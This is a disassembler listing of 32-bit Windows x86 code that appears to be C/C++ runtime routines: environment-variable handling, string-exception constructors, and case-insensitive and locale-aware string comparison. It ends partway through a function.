; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2A0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2A4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2A0, eax

loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2A8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D

loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh

loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2A8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A8, eax
		jz	short loc_42620F
		mov	[eax], edi

loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2A0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx

loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------

loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------

loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------

loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi

loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2A0, eax

loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25D0000h
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]

loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D

loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344

loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		neg	eax

loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB

loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1

loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx

loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------

loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]

loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC7E1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------

loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452

loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------

loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------

loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx

loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426750	proc near
		jmp	near ptr 71B2ACCBh
sub_426750	endp

; ---------------------------------------------------------------------------
		db 0A9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	near ptr 2842112h
sub_42675C	endp

; ---------------------------------------------------------------------------
		db 0A1h

; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h

loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h

loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------

loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2

loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi

loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------

loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx

loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------

loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2660372h
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB334, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB334
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB58C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB58C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------

loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE2C
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB58C, 2

loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB58C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------

loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax

loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
